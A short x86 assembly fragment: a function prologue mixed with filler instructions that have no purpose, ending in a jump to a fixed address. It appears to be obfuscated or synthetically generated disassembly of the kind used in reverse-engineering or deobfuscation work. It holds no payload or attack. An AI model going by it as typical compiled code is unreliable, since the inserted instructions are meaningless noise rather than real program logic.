cmovns esi, ecx
push ebp
add bp, 0x7cd6
mov ebp, esp
or ch, 0x1f
sub esp, 4
mov dword [ebp - 4], 0
movsx esi, di
jmp 0x19b87ff